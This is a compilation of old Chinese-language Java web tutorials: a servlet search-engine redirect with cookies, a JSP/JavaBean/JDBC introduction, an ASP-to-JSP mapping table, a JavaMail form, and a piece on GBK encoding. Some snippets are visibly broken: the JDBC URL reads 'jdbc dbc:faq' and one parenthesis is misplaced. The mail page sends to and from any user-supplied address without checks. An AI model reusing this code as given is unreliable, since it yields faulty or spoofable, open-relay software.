"＜INPUT TYPE=＼"RADIO＼" NAME=＼"searchEngine＼"＼n" +
" VALUE=＼"google＼"" +
checked("google", searchEngine) + "＞＼n" +
"Google |＼n" +
"＜INPUT TYPE=＼"RADIO＼" NAME=＼"searchEngine＼"＼n" +
" VALUE=＼"infoseek＼"" +
checked("infoseek", searchEngine) + "＞＼n" +
"Infoseek |＼n" +
"＜INPUT TYPE=＼"RADIO＼" NAME=＼"searchEngine＼"＼n" +
" VALUE=＼"lycos＼"" +
checked("lycos", searchEngine) + "＞＼n" +
"Lycos |＼n" +
"＜INPUT TYPE=＼"RADIO＼" NAME=＼"searchEngine＼"＼n" +
" VALUE=＼"hotbot＼"" +
checked("hotbot", searchEngine) + "＞＼n" +
"HotBot＼n" +
"＜BR＞＼n" +
"＜INPUT TYPE=＼"SUBMIT＼" VALUE=＼"Search＼"＞＼n" +
"＜/CENTER＞＼n" +
"＜/FORM＞＼n" +
"＼n" +
"＜/BODY＞＼n" +
"＜/HTML＞＼n");
}

private String checked(String name1, String name2) {
if (name1.equals(name2))
return(" CHECKED");
else
return("");
}
}

     CustomizedSearchEngines.java

     前面的SearchEnginesFrontEnd Servlet把数据发送到CustomizedSearchEngines Servlet。本例在许多方面与前面介绍HTTP状态代码时的例子相似，区别在于，本例除了要构造一个针对搜索引擎的URL并向用户发送一个重定向应答之外，还要发送保存用户数据的Cookies。
package hall;

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.net.*;

public class CustomizedSearchEngines extends HttpServlet {
public void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {

String searchString = request.getParameter("searchString");
Cookie searchStringCookie =
new LongLivedCookie("searchString", searchString);
response.addCookie(searchStringCookie);
searchString = URLEncoder.encode(searchString);
String numResults = request.getParameter("numResults");
Cookie numResultsCookie =
new LongLivedCookie("numResults", numResults);
response.addCookie(numResultsCookie);
String searchEngine = request.getParameter("searchEngine");
Cookie searchEngineCookie =
new LongLivedCookie("searchEngine", searchEngine);
response.addCookie(searchEngineCookie);
SearchSpec[] commonSpecs = SearchSpec.getCommonSpecs();
for(int i=0; i＜commonSpecs.length; i++) {
SearchSpec searchSpec = commonSpecs[i];
if (searchSpec.getName().equals(searchEngine)) {
String url =
searchSpec.makeURL(searchString, numResults);
response.sendRedirect(url);
return;
}
}
response.sendError(response.SC_NOT_FOUND,
"No recognized search engine specified.");
}

public void doPost(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}

做人要厚道，请注明转自酷网动力(www.ASPCOOL.COM)。


JSP入门--随心所欲

JSP入门- -

转载

一、 什么是JSP JSP(JavaServer Pages)是由Sun Microsystems公司倡导、许多公司参与一起建立的一种动态网页技术标准，其网址为http://www.javasoft.com/products/jsp。 在传统的网页HTML文件(*.htm,*.html)中加入Java程序片段(Scriptlet)和JSP标记(tag)，就构成了JSP网页(*.jsp)。Web服务器在遇到访问JSP网页的请求时，首先执行其中的程序片段，然后将执行结果以HTML格式返回给客户。程序片段可以操作数据库、重新定向网页以及发送 email 等等，这就是建立动态网站所需要的功能。所有程序操作都在服务器端执行，网络上传送给客户端的仅是得到的结果，对客户浏览器的要求最低，可以实现无Plugin，无ActiveX，无Java Applet，甚至无Frame。 本文将介绍利用JSP技术开发动态网页的方法，还将简要分析JSP技术和 Microsoft 公司的 ASP 技术的不同之处。
二、 如何安装和启动 为了实验JSP技术，首先需要建立运行环境，这个过程相当简单：
1、在 java.sun.com/jdk/处下载JDK(Java 2 SDK、Standard Edition、v 1.2.2)。
2、在http://java.sun.com/products/jsp/处下载JSWDK(JavaServer Web Development Kit 1.0.1)。Linux用户可以在ttp://jakarta.apache.org/处下载Tomcat 3.0。
3、安装 以Windows NT环境为例，JDK的安装是首先运行下载得到的jdk1_2_2-win.exe，然后修改系统环境参数，在PATH参数中加入[x:]\jdk1.2.2\bin以及增加新的环境参数 CLASSPATH=[x:]\jdk1.2.2\lib\tools.jar，其中[x:]是安装JDK的硬盘符（c:、d: 等）。 JSWDK的安装仅需将jswdk1_0_1-win.zip带目录释放到硬盘根目录下（c:\、d:\ 等），然后就可以在硬盘上找到\jswdk-1.0.1\目录。将来如果不想保留JSWDK，删除这个目录就可以了，没有任何系统文件和注册表遗留问题。更详细的安装过程以及Solaris/Unix和Linux下JDK、Tomcat的安装可以参考下载得到的文件包中的安装说明。
4、启动 以Windows NT环境为例，在\jswdk-1.0.1\目录下执行startserver.bat，就可启动JSWDK中一个支持JSP网页技术的Web服务器。为了不与现有的Web服务器（例如IIS、PWS等）冲突，JSWDK的Web服务器使用了8080端口。 在浏览器的地址栏中键入http://localhost:8080或者http://127.0.0.1:8080后，如果能看到 JSWDK 的欢迎页就说明JSP实验环境已经建成，可进入下一步实验。 要关闭Web服务器则运行stopserver.bat。
三、 JSP简单示例 JSWDK中包含的Web服务器的文档目录在缺省状态下为\jswdk-1.0.1\webpages，主文档在缺省状态下为index.html和index.jsp。也就是说访问http://localhost:8080等于访问\jswdk-1.0.1\webpages\index.html。 用文本编辑器，如Windows中的记事本(Notepad)，创建一个文本文件hi.jsp，保存在\jswdk-1.0.1\webpages\目录下，其内容如下：
<html>
<head>
<title>Hi-JSP实验</title>
</head>
<body>
<%
String Msg = "This JSP test.";
out.print("Hello World!");
%>
<h2><%=Msg%></h2>
</body>
</html>

在浏览器的地址栏中键入http://localhost:8080/hi.jsp，JSWDK中的Web服务器会执行JSP 文件中用<%以及%>括起来的Java程序语句，其中out.print是将文字输出到网页，语句<%= 变量 | 表达式 %>的作用是将Java Scriptlet中变量或表达式的值输出到网页，执行结果如图1。 图1 将变量Msg赋值为中文字符串，用<%= %>输出，或者用out.print输出中文字符串，则在英文版NT4及Redhat 6.1下实验运行结果正常，而在中文NT 4.0和中文98下，则反而会出现乱码。
四、 统一的网站界面 JSP支持服务器端的文件包含，即可以在一个JSP文件中插入多个其他文件，用来实现统一的网站界面。修改上述hi.jsp并另存为mypage.jsp：
<%@ include file="top.htm" %>
<%
String Msg = "This JSP test.";
out.print("Hello World!");
%>
<h2><%=Msg%></h2>
<%@ include file="bot.htm" %>

用可视化HTML编辑器，例如FrontPage、Dreamweave等设计网站的框架结构，将设计好的框架结构文件分割成两个部分，上面一半保存为top.htm, 下面一半保存为bot.htm，代码如下面所示：
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>我的主页</title>
</head>
<body>
<table border="0" width="100%" cellpadding="4" cellspacing="0" align="center">
<tr>
<td width="100%" colspan="2" bgcolor="#837ED1" align="center"><font face="隶书"
color="#FFFF00" size=5>主页标题</font>
</td>
</tr>
<tr>
<td bgcolor="#837ED1" width="15%" valign="top" align="center"><br>
<font color="#FFFFFF">选项</font><p><font color="#FFFFFF">选项</font></p>
<p><font color="#FFFFFF">选项</font></p>
<p><font color="#FFFFFF">......</font></p>
<p>　</p>
</td>
<td width="85%" valign="top">
----------------------------------------------------------------------------------------------------------------
</td>
</tr>
</table>
</body>
</html>

在浏览器的地址栏中键入http://localhost:8080/mypage.jsp，得到结果如图2。 图2 这样网站的界面就能统一起来，而设计者可以集中精力在功能模块上处理用户登录、连接数据库、发送email等等。每个JSP文件都有如下结构：

<%@ include file="top.htm" %>
<%
// 实现某些功能
%>
<%@ include file="bot.htm" %>

维护网站的界面也相对比较容易，只要修改top.htm和bot.htm，就能影响到所有网页。

五、 服务器参数设置
JSWDK的Web服务器参数保存在\jswdk-1.0.1\webserver.xml中，用Windows写字板打开并编辑这个文件就可以修改缺省设置值。本节内容主要针对JSWDK，Linux下Tomcat的设置方法略有不同。
JSWDK缺省的文档目录是\jswdk-1.0.1\webpages，在此目录下可以建立子目录，例如\jswdk-1.0.1\webpages\test，就能在浏览器中用http://localhost/test访问这个目录，为了使得这个子目录能执行JSP程序，还必须在webserver.xml中的<Service></Service>节加入：
<WebApplication id="test" mapping="/test" docBase="webpages/test" />
并且，还必须建立\jswdk-1.0.1\webpages\test\WEB-INF目录，并从\jswdk-1.0.1\webpages\WEB-INF目录中复制过来以下四个文件：mappings.properties、mime.properties、servlets.properties以及webapp.properties。完成这些过程，才能通知JSWDK的Web服务器执行http://localhost/test 中的JSP程序。

六、 JavaBean
JSP网页吸引人的地方之一就是能结合JavaBean技术来扩充网页中程序的功能。
JavaBean是一种Java类 (class)，通过封装属性和方法成为具有某种功能或者处理某个业务的对象。JavaBean被组织成为package（数据包）以便进行管理，实际上就是把一组JavaBean一起放在某某目录中，每个类的定义前加上package某某，本例中为test。目录test必须放在系统环境CLASSPATH包含的目录下，系统才能找到其中的JavaBean。JSWDK在缺省状态下将\jswdk-1.0.1\webpages\WEB-INF\jsp\beans\ 加入CLASSPATH。建立自己的JavaBean和package时，就放在这个目录中也不失为一种简易的方法。
下面介绍一个简单的JavaBean框架。用文本编辑器创建一个文本文件helloWorld.java，并保存在\jswdk-1.0.1\webpages\WEB-INF\jsp\beans\test目录下，其内容如下：
package test;
public class helloWorld {
public String name = "My first bean";
public String getHi()
{
return "Hello from " + name;
}
}

helloWorld.java编辑好后，在DOS状态下，进入目录\jswdk-1.0.1\webpages\WEB-INF\jsp\beans\，用JDK的javac命令编译helloWorld.java如下：

javac helloWorld.java

注意，Java是区分大小写的，在程序中，编译命令行中字母的大小写都不能写错。
编译成功就表示建立了一个JavaBean。下面看如何在JSP中使用这个JavaBean。用文本编辑器创建一个文本文件hi-bean.jsp，并保存在\jswdk-1.0.1\webpages\test目录下，其内容如下：

<html>
<head>
<title>JavaBean 试验</title>
</head>
<body>
<jsp:useBean id="helloBean" scope="session" class="test.helloWorld" />
<%= helloBean.getHi() %>
<hr>
<%
helloBean.name = "JSP";
out.print(helloBean.getHi());
%>
</body>
</html>

在JSP网页中，使用 <jsp:useBean ... />语法来创建JavaBean对象，并命名为helloBean。读者可从这个简单的例子中看出设置、获取JavaBean属性，以及调用JavaBean方法的做法。在浏览器的地址栏中键入http://localhost:8080/test/hi-bean.jsp，得到结果如图3所示。
注意，如果修改和重新编译了JavaBean程序，则需要关闭和重新启动JSWDK的Web服务器以后修改的结果才会有效。如果仅仅修改JSP文件，则不用重新启动JSWDK的Web服务器.

虽然，这仅仅完成了一个非常简单的JavaBean框架，但是遵循这个框架可以设计出多种多样的JavaBean。例如，从JSP中访问数据通常就是通过JavaBean来实现的。

七、 数据库连接
数据库连接对动态网站来说是最为重要的部分，Java中连接数据库的技术是JDBC(Java Database Connectivity)。很多数据库系统带有JDBC驱动程序，Java程序就通过JDBC驱动程序与数据库相连，执行查询、提取数据等等操作。Sun公司还开发了JDBC-ODBC bridge，用此技术Java程序就可以访问带有ODBC驱动程序的数据库，目前大多数数据库系统都带有ODBC驱动程序，所以Java程序能访问诸如Oracle、Sybase、MS SQL Server和MS Access等数据库。下面介绍如何用Access实现一个动态FAQ（常见问题及答案）网站。
首先建立一个Access数据库faq.mdb，其中的表faqs有字段id（自动增量型，并设为主关键字）、Subject（文字型，长度200）、Answer（备注型）。这个表中可以存放一些编程知识的常见问题及答案，如图4。
图 4

然后，在Control Panel（控制面板）的ODBC Datasource模块中加入System DSN，取名faq，并指向faq.mdb。
创建一个JavaBean，名为faq.java，并保存在\jswdk-1.0.1\webpages\WEB-INF\jsp\beans\test目录下。faq.java 的内容如下：

package test;
import java.sql.*;

public class faq {
String sDBDriver = "sun.jdbc.odbc.JdbcOdbcDriver";
String sConnStr = "jdbc dbc:faq";
Connection conn = null;
ResultSet rs = null;

public faq() {
try {
Class.forName(sDBDriver);
}
catch(java.lang.ClassNotFoundException e) {
System.err.println("faq(): " + e.getMessage());
}
}

public ResultSet executeQuery(String sql) {
rs = null;
try {
conn = DriverManager.getConnection(sConnStr);
Statement stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
}
catch(SQLException ex) {
System.err.println("aq.executeQuery: " + ex.getMessage());
}
return rs;
}
}
用上一节介绍的方法编译faq.java以后，在\jswdk-1.0.1\webpages\test目录下创建JSP文件faq.jsp，其内容如下：

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>我的FAQ !</title>
</head>
<body>
<p><b>这是我的FAQ!</b></p>
<%@ page language="java" import="java.sql.*" %>
<jsp:useBean id="workM" scope="page" class="test.faq" />
<%
ResultSet RS = workM.executeQuery("SELECT * FROM faqs");
String tt;
while (RS.next()) {
tt = RS.getString("Answer");
out.print("<LI>" + RS.getString("Subject" + "</LI>");
out.print("<pre>" + tt + "</pre>");
}
RS.close();
%>
在浏览器的地址栏中键入http://localhost:8080/test/faq.jsp，faq.jsp调用JavaBean，从数据库中读出内容并输出，得到结果如图5所示.

限于篇幅，本文不能列举JSP-JavaBean-JDBC/ODBC-数据库的复杂例子，读者可以从本文最后所推荐的网址中找到并下载到数据库连接范例。

八、 技术分析
Microsoft 公司的 ASP 技术也是动态网页开发技术。JSP和ASP从形式上非常相似，ASP程序员一眼就能认出<% %>以及<%= %>。但是深入探究下去会发现它们很多的差别，其中最主要的有以下三点：
1、 JSP的效率和安全性更高
ASP以源码形式存放，以解释方式运行，每次ASP网页调用都需要对源码进行解释，运行效率不高。另外，IIS的漏洞曾使得许多网站源程序大曝光，包括笔者以前用ASP开发的网站，ASP程序全部被人下载了去。
JSP在执行以前先被编译成字节码 (byte code)，字节码由Java虚拟机(Java Virtual Machine)解释执行，比源码解释的效率高；服务器上还有字节码的Cache机制，能提高字节码的访问效率。第一次调用JSP网页可能稍慢，因为它被编译成Cache，以后就快得多了。同时，JSP源程序不大可能被下载，特别是JavaBean程序完全可以放到不对外的目录中。
2、 JSP的组件 (Component) 方式更方便
ASP通过COM来扩充复杂的功能，如文件上载、发送email以及将业务处理或者复杂计算分离出来成为独立可重复利用的模块。JSP通过JavaBean实现了同样的功能扩充。
在开发方面，COM的开发远比JavaBean复杂和繁琐，学会ASP不难，但学会开发COM可不简单。而JavaBean就简单多了，从本文上述示例中可以看出开发JavaBean很方便。
在维护方面，COM必须在服务器上注册，如果修改了COM程序，就必须重新注册，甚至必须关机和重新启动。JavaBean则不需要注册，放在CLASSPATH包含的目录中就行了。如果JavaBean进行了修改，则JSWDK和Tomcat现在还需要关闭和重新运行（但不是关机），但开发者已经许诺将在以后的版本中做到不需要关闭服务器。
另外JavaBean是完全的OOP，可以针对不同的业务处理功能方便地建立一整套可重复利用的对象库，例如用户权限控制、email自动回复等等。
3、 JSP的适应平台更广
ASP目前仅适用于NT和IIS。虽然Unix下有ChiliSoft的插件来支持ASP，但是ASP本身的功能有限，必须通过ASP+COM的组合来扩充，Unix下的COM实现起来非常困难。
JSP则不同，几乎所有平台都支持Java，JSP+JavaBean可以在所有平台下通行无阻。NT下IIS通过一个插件，例如JRUN(http://www3.allaire.com/products/jrun/)或者ServletExec(http://www.newatlanta.com/)，就能支持JSP。著名的Web服务器Apache已经能够支持JSP。由于Apache广泛应用在NT、Unix和Linux上，因此JSP有更广泛的运行平台。虽然现在NT操作系统占了很大的市场份额，但是在服务器方面Unix的优势仍然很大，而新崛起的Linux更是来势不小。
从一个平台移植到另外一个平台，JSP和JavaBean甚至不用重新编译，因为Java字节码都是标准的与平台无关的。笔者将在NT下实验的JSP网页原封不动地拿到Linux下就运行起来了，感觉非常满意。
九、 结论
综上所述，JSP可谓是构建动态网站的一个利器，故推荐给读者，祝愿你们掌握JSP，开发出优秀的网站。ASP程序员也请试一下，JSP里也有session、request、response/out等对象，亲自试试看如何。

附文
这里是关于JSP的重要参考资料，有兴趣的读者可以进一步阅读。
java.sun.com/products/jsp/faq.html
www.esperanto.org.nz/jsp/jspfaq.html
www.zdnet.com/pcweek/stories/news/0,4153,410709,00.html
developer.netscape.com/viewsource/kuslich_jsp
/kuslich_jsp.html
web2.java.sun.com/products/jsp/jsp-asp.html
www.asptoday.com/articles/19991022.htm


ASP与JSP内部对象替换对比

ASP | JSP
Request | Request
QueryString | Request.getParameter(“name”)
.Item
.count | Request.getParameterMap().size()
.key | request.getParameterNames()，会得到一个 Enumeration对象，用他的hasMoreElements() 和循环语句for取得任意一个想要的Parameter的名字。
Form |
.count | Request.getParameterMap().size()
.Item | Request.getParameter(“name”)
.key | 同QueryString的key
ServerVariable
方法 |
BinaryRead(byteCount) | request.getReader().read(char[] cbuf,off,len)
变量 | request.getHeader(java.lang.String name)
ALL_HTTP
APPL_PHYSICAL_PATH | request.getContextPath()
AUTH_TYPE | request.getAuthType()
CONTENT_TYPE | request.getContentType()
CONTENT_LENGTH | request.getContentLength()
PATH_INFO | request.getPathInfo()
PATH_TRANSLATED | request.getPathTranslated()
QUERY_STRING | request.getQueryString()
REMOTE_ADDR | request.getRemoteAddr()
REMOTE_HOST | request.getRemoteHost()
REMOTE_USER | request.getRemoteUser()
REQUEST_METHOD | request.getMethod()
SCRIPT_NAME | request.getServletPath()
SERVER_NAME | request.getServerName()
SERVER_PORT | request.getServerPort()
SERVER_PROTOCOL | request.getProtocol()
SERVER_SOFTWARE | Application.getServerInfo()
URL | request.getRequestURL()
Response
方法 |
Write(String) | Out.print(String)
BinaryWrite(byteArray) |
Redirect(URL String) | response.sendRedirect()
AddHeader(“header name”,”value”) | response.addHeader(String name,String value)
AppendToLog(String) | response.application.log()
Flush() | Out.flush()或者response.flushBuffer()
Clear() | Oue.clear()或者response.resetBuffer()
End() | Out.close()+return
属性 |
Charset=“char-type”(iso8859_1) | response.setContentType(“charset= iso8859_1”)
ContentType=[“text/html”/”text/plain”/ ”image/GIF”/”image/JPEG”] | response.setContentType([“text/html”/”text/plain”/ ”image/GIF”/”image/JPEG”])
Application
存储变量application(“variable”)=value | Application.setAttribute(“name”,”value”)
Content集合 | Application.getAttribute(“name”)
.item | Application.getAttribute(“name”)
.key | 同request.QueryString的key
.count | application.getAttributeNames()，会得到一个 Enumeration对象，用他的hasMoreElements() 和循环语句for取得大小。
方法 |
Remove(“property name”) | Application.removeAttribute(“name”)
RemoveAll() | application.getAttributeNames()会得到一个 Enumeration对象，用他的hasMoreElements() 和循环语句for,在循环体中使用 Enumeration.nextObject().toString()一个一个找到，并移除。
StaticObject集合（存储自定义对象） | Application.setAttribute(“name”,”value”)
Session
事件 |
Session_OnStart() | 可以做一个针对HttpSession对象的监听器，在一个session对象生成的时候调用他的sessionCreated（）方法，在会话结束时调用sessionDestory()方法。具体实现见《Global.asa文件的替换》一节
Session_OnEnd()
方法 |
存储变量：session(“variable”)=value | Session.setAttribute(“name”,”value”)
Abandon() |
Content集合 | 同application对象
.item
.key
.count
方法
Remove(“property name”)
RemoveAll()
属性 |
LCID 地区标识符 | Response.setLocales()设置区域属性 Request.getLocals()取得区域属性
SessionID 会话标识符 | session.getID()
Timeout 超时时间 | Session.getMaxInactiveInterval() Session.setMaxInactiveInterval()
Server
方法 |
CreateObject() | 用于建立ActiveX对象，在JSP中用不到
Execute(“url”) | <jsp:include page=”url”/>
Transfer() |
HTMLEncode() | JSP中没有这个方法，需要自己编写代码
URLEnode() | response.encodeURL()
MapPath() URL转为物理路径 | request.getRealPath("/")


javamail在jsp中调用-www.knowsky.com

javamail在jsp中调用 一
<HTML>
<BODY>
<FORM action="sendmail.jsp" method="post">
<TABLE align="center">
<TR>
<TD width="50%">
To:<BR><INPUT name="to" size="25">
</TD>
<TD width="50%">
From:<BR><INPUT name="from" size="25">
</TD>
</TR>
<TR>
<TD colspan="2">
Subject:<BR><INPUT name="subject" size="50">
</TD>
</TR>
<TR>
<TD colspan="2">
<P>Message:<BR><TEXTAREA name="text" rows=25 cols=85></TEXTAREA></P>
</TD>
</TR>
</TABLE>
<INPUT type="submit" name="cb_submit" value=" Send ">
<INPUT type="reset" name="cb_reset" value=" Clear ">
</FORM>
</BODY>
</HTML>

javamail在jsp中调用 二
<%@ page
import=" javax.mail.*, javax.mail.internet.*, javax.activation.*,java.util.*"
%>
<html>
<head>
<TITLE>JSP meets JavaMail, what a sweet combo.</TITLE>
</HEAD>
<BODY>
<%

try{
Properties props = new Properties();
Session sendMailSession;
Store store;
Transport transport;

sendMailSession = Session.getInstance(props, null);

props.put("mail.smtp.host", "smtp.jspinsider.com");

Message newMessage = new MimeMessage(sendMailSession);
newMessage.setFrom(new InternetAddress(request.getParameter("from")));
newMessage.setRecipient(Message.RecipientType.TO, new InternetAddress(request.getParameter("to")));
newMessage.setSubject(request.getParameter("subject"));
newMessage.setSentDate(new Date());
newMessage.setText(request.getParameter("text"));

transport = sendMailSession.getTransport("smtp");
transport.send(newMessage);
%>
<P>Your mail has been sent.</P>
<%
}
catch(MessagingException m)
{
out.println(m.toString());
}
%>
</BODY>
</HTML>

转自：动态网站制作指南 | www.knowsky.com


JSP/Servlet 中的汉字编码问题

    网上就 JSP/Servlet 中 DBCS 字符编码问题有许多优秀的文章和讨论，本文对它们作一些整理，并结合 IBM WebSphere Application Server 3.5（WAS）的解决方法作一些说明，希望它不是多余的。

    1.问题的起源

    每个国家（或区域）都规定了计算机信息交换用的字符编码集，如美国的 ASCII，中国的 GB2312-80，日本的 JIS 等，作为该国家/区域内信息处理的基础，有着统一编码的重要作用。字符编码集按长度分为 SBCS（单字节字符集），DBCS（双字节字符集）两大类。早期的软件（尤其是操作系统），为了解决本地字符信息的计算机处理，出现了各种本地化版本（L10N），为了区分，引进了 LANG，Codepage 等概念。但是由于各个本地字符集代码范围重叠，相互间信息交换困难；软件各个本地化版本独立维护成本较高。因此有必要将本地化工作中的共性抽取出来，作一致处理，将特别的本地化处理内容降低到最少。这也就是所谓的国际化（I18N）。各种语言信息被进一步规范为 Locale 信息。处理的底层字符集变成了几乎包含了所有字形的 Unicode。

    现在大部分具有国际化特征的软件核心字符处理都是以 Unicode 为基础的，在软件运行时根据当时的 Locale/Lang/Codepage 设置确定相应的本地字符编码设置，并依此处理本地字符。在处理过程中需要实现 Unicode 和本地字符集的相互转换，甚或以 Unicode 为中间的两个不同本地字符集的相互转换。这种方式在网络环境下被进一步延伸，任何网络两端的字符信息也需要根据字符集的设置转换成可接受的内容。

    Java 语言内部是用 Unicode 表示字符的，遵守 Unicode V2.0。Java 程序无论是从/往文件系统以字符流读/写文件，还是往 URL 连接写 HTML 信息，或从 URL 连接读取参数值，都会有字符编码的转换。这样做虽然增加了编程的复杂度，容易引起混淆，但却是符合国际化的思想的。

    从理论上来说，这些根据字符集设置而进行的字符转换不应该产生太多问题。而事实是由于应用程序的实际运行环境不同，Unicode 和各个本地字符集的补充、完善，以及系统或应用程序实现的不规范，转码时出现的问题时时困扰着程序员和用户。

    2.GB2312-80，GBK，GB18030-2000 汉字字符集

    其实解决 JAVA 程序中的汉字编码问题的方法往往很简单，但理解其背后的原因，定位问题，还需要了解现有的汉字编码和编码转换。

    GB2312-80 是在国内计算机汉字信息技术发展初始阶段制定的，其中包含了大部分常用的一、二级汉字，和 9 区的符号。该字符集是几乎所有的中文系统和国际化的软件都支持的中文字符集，这也是最基本的中文字符集。其编码范围是高位0xa1－0xfe，低位也是 0xa1-0xfe；汉字从 0xb0a1 开始，结束于 0xf7fe；

    GBK 是 GB2312-80 的扩展，是向上兼容的。它包含了 20902 个汉字，其编码范围是 0x8140-0xfefe，剔除高位 0x80 的字位。其所有字符都可以一对一映射到 Unicode 2.0，也就是说 JAVA 实际上提供了 GBK 字符集的支持。这是现阶段 Windows 和其它一些中文操作系统的缺省字符集，但并不是所有的国际化软件都支持该字符集，感觉是他们并不完全知道 GBK 是怎么回事。值得注意的是它不是国家标准，而只是规范。随着 GB18030-2000国标的发布，它将在不久的将来完成它的历史使命。

    GB18030-2000(GBK2K) 在 GBK 的基础上进一步扩展了汉字，增加了藏、蒙等少数民族的字形。GBK2K 从根本上解决了字位不够，字形不足的问题。它有几个特点：

    ●它并没有确定所有的字形，只是规定了编码范围，留待以后扩充。

    ●编码是变长的，其二字节部分与 GBK 兼容；四字节部分是扩充的字形、字位，其编码范围是首字节 0x81-0xfe、二字节0x30-0x39、三字节 0x81-0xfe、四字节0x30-0x39。

    ●它的推广是分阶段的，首先要求实现的是能够完全映射到 Unicode 3.0 标准的所有字形。

        ●它是国家标准，是强制性的。

    现在还没有任何一个操作系统或软件实现了 GBK2K 的支持，这是现阶段和将来汉化的工作内容。

    3.JSP/Servlet 汉字编码问题及在 WAS 中的解决办法

    3.1 常见的 encoding 问题的现象

    网上常出现的 JSP/Servlet encoding 问题一般都表现在 browser 或应用程序端，如:

    ●浏览器中看到的 Jsp/Servlet 页面中的汉字怎么都成了 ’?’ ?

    ●浏览器中看到的 Servlet 页面中的汉字怎么都成了乱码？

    ●JAVA 应用程序界面中的汉字怎么都成了方块？

    ●Jsp/Servlet 页面无法显示 GBK 汉字。

    ●Jsp/Servlet 不能接收 form 提交的汉字。

    ●JSP/Servlet 数据库读写无法获得正确的内容。

    隐藏在这些问题后面的是各种错误的字符转换和处理（除第3个外，是因为 Java font 设置错误引起的）。解决类似的字符 encoding 问题，需要了解 Jsp/Servlet 的运行过程，检查可能出现问题的各个点。

    3.2 JSP/Servlet web 编程时的 encoding 问题

    运行于Java 应用服务器的 JSP/Servlet 为 Browser 提供 HTML 内容，其过程如下图所示：

    其中有字符编码转换的地方有：

    a.JSP 编译。Java 应用服务器将根据 JVM 的 file.encoding 值读取 JSP 源文件，并转换为内部字符编码进行 JSP 编译，生成 JAVA 源文件，根据 file.encoding 值写回文件系统。如果当前系统语言支持 GBK，那么这时候不会出现 encoding 问题。如果是英文的系统，如 LANG 是 en_US 的 Linux, AIX 或 Solaris，则要将 JVM 的 file.encoding 值置成 GBK 。系统语言如果是 GB2312，则根据需要，确定要不要设置 file.encoding，将 file.encoding 设为 GBK 可以解决潜在的 GBK 字符乱码问题。

    b.Java 需要被编译为 .class 才能在 JVM 中执行，这个过程存在与a.同样的 file.encoding 问题。从这里开始 servlet 和 jsp 的运行就类似了，只不过 Servlet 的编译不是自动进行的。

    c.Servlet 需要将 HTML 页面内容转换为 browser 可接受的 encoding 内容发送出去。依赖于各 JAVA App Server 的实现方式，有的将查询 Browser 的 accept-charset 和 accept-language 参数或以其它猜的方式确定 encoding 值，有的则不管。因此 constant-encoding 也许是最好的解决方法。对于中文网页，可在 JSP 或 Servlet 中设置 contentType="text/html; charset=GB2312"；如果页面中有GBK字符，则设置为contentType="text/html; charset=GBK"，由于IE 和 Netscape对GBK的支持程度不一样，作这种设置时需要测试一下。

    因为16位 JAVA char在网络传送时高8位会被丢弃，也为了确保Servlet页面中的汉字（包括内嵌的和servlet运行过程中得到的）是期望的内码，可以用 PrintWriter out=res.getWriter() 取代 ServletOutputStream out=res.getOutputStream(), PrinterWriter 将根据contentType中指定的charset作转换(ContentType需在此之前指定！);也可以用OutputStreamWriter封装 ServletOutputStream 类并用write(String)输出汉字字符串。

    对于 JSP，JAVA Application Server 应当能够确保在这个阶段将嵌入的汉字正确传送出去。

    d.这是 URL 字符 encoding 问题。如果通过 get/post 方式从 browser 返回的值中包含汉字信息， servlet 将无法得到正确的值。SUN的 J2SDK 中，HttpUtils.parseName 在解析参数时根本没有考虑 browser 的语言设置，而是将得到的值按 byte 方式解析。这是网上讨论得最多的 encoding 问题。因为这是设计缺陷，只能以 bin 方式重新解析得到的字符串；或者以 hack HttpUtils 类的方式解决。参考文章 2、3 均有介绍，不过最好将其中的中文 encoding GB2312、 CP1381 都改为 GBK，否则遇到 GBK 汉字时，还是会有问题。

    Servlet API 2.3 提供一个新的函数 HttpServeletRequest.setCharacterEncoding 用于在调用 request.getParameter(“param_name”) 前指定应用程序希望的 encoding，这将有助于彻底解决这个问题。

    WebSphere Application Server 对标准的 Servlet API 2.x 作了扩展，提供较好的多语言支持。上述c,d情况，WAS 都要查询 Browser 的语言设置，在缺省状况下zh、zh-cn 等均被映射为 JAVA encoding CP1381（注意：CP1381 只是等同于 GB2312 的一个 codepage，没有 GBK 支持）。这样做我想是因为无法确认 Browser 运行的操作系统是支持GB2312, 还是 GBK，所以取其小。但是实际的应用系统还是要求页面中出现 GBK 汉字，最著名的是朱总理名字中的“?”(rong2 ，0xe946，\u9555)，所以有时还是需要将 Encoding/Charset 指定为 GBK。当然 WAS 中变更缺省的 encoding 没有上面说的那么麻烦，针对 a,b，参考文章 5 ），在 Application Server 的命令行参数中指定 -Dfile.encoding=GBK 即可； 针对 d，在 Application Server 的命令行参数中指定-Ddefault.client.encoding=GBK。如果指定了-Ddefault.client.encoding=GBK，那么c情况下可以不再指定charset。

    3.3 数据库读写时的 encoding 问题

    JSP/Servlet 编程中经常出现 encoding 问题的另一个地方是读写数据库中的数据。

    流行的关系数据库系统都支持数据库 encoding，也就是说在创建数据库时可以指定它自己的字符集设置，数据库的数据以指定的编码形式存储。当应用程序访问数据时，在入口和出口处都会有 encoding 转换。对于中文数据，应当保证数据的完整性。GB2312，GBK，UTF-8 等都是可选的数据库 encoding；如果选择 ISO8859-1(8-bit SBCS)，那么应用程序在写数据之前须将 16Bit 的一个汉字或 Unicode 拆分成两个 8-bit 的字符，读数据之后则需将两个字节合并起来，同时还有判别其中的 SBCS 字符。没有充分利用数据库 encoding 的作用，反而增加了编程的复杂度，ISO8859-1不是推荐的数据库 encoding。JSP/Servlet编程时，可以先用数据库管理系统提供的功能检查其中的中文数据是否正确。

    然后应当注意的是读出来的数据的 encoding，JAVA 程序中一般得到的是 Unicode。写数据时则相反。

    3.4 定位问题时常用的技巧

    定位中文encoding问题通常采用最笨的也是最有效的办法——在你认为有嫌疑的程序处理后打印字符串的内码。通过打印字符串的内码，你可以发现什么时候中文字符被转换成Unicode，什么时候Unicode被转回中文内码，什么时候一个中文字成了两个 Unicode 字符，什么时候中文字符串被转成了一串问号，什么时候中文字符串的高位被截掉了……

    取用合适的样本字符串也有助于区分问题的类型。如：”aa啊aa?aa” 等中英相间、GB、GBK特征字符均有的字符串。一般来说，英文字符无论怎么转换或处理，都不会失真（如果遇到了，可以尝试着增加连续的英文字母长度）。

